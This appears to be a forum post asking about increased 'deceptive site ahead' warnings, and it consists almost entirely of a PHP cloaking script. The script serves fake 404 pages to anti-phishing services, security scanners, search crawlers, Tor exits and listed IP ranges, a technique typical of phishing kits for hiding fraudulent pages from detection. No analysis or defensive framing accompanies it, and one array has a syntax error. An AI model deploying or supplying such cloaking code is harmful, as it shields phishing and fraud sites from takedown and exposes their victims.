increased security alerts since past weekend ? ("deceptive site ahead")

<?php

//block by hosts
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$blocked_hosts = array("google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "msnbot", "netcraft", "paypal", "torservers", "messagelabs", "sucuri.net", "crawler", "baidu", , "baidubot", "applebot", "java", "PhantomJS", "metauri.com", "Twitterbot", "above");

foreach ($blocked_hosts as $host) {
    if (substr_count($hostname, $host) > 0) {
        header("HTTP/1.0 404 Not Found");
        die("<h1>404 Not Found</h1>The page that you have requested could not be found.");

    }
}

//block by user-agent
$uagents = array('Googlebot','Baiduspider','PhantomJS', 'applebot', 'metauri.com', 'ia_archiver', 'NetcraftSurveyAgent', 'Sogou web spider', 'bingbot', 'Yahoo! Slurp', 'facebookexternalhit', 'msnbot', 'Twitterbot', 'urlresolver', 'Butterfly', 'MJ12bot', 'AhrefsBot', 'Exabot', 'YandexBot', 'TweetedTimes Bot', 'magpie-crawler', 'Mediapartners-Google', 'Spinn3r', 'InAGist', 'Python-urllib', 'NING', 'TencentTraveler', 'Feedfetcher-Google', 'mon.itor.us', 'spbot', 'Feedly', 'bot', 'java', 'curl', 'spider', 'python', 'crawler');

foreach ($uagents as $agent) {
    if (strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) {
        header("HTTP/1.0 404 Not Found");
        die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
    }
}

//block by IP address
$blockIP = array("^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*"); //add your IP's
if (in_array($_SERVER['REMOTE_ADDR'], $blockIP)) {
    header('HTTP/1.0 404 Not Found');
    exit();

} else {
    foreach ($blockIP as $ip) {
        if (preg_match('/' . $ip . '/', $_SERVER['REMOTE_ADDR'])) {
            header('HTTP/1.0 404 Not Found');
             die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
        }
    }
}

?>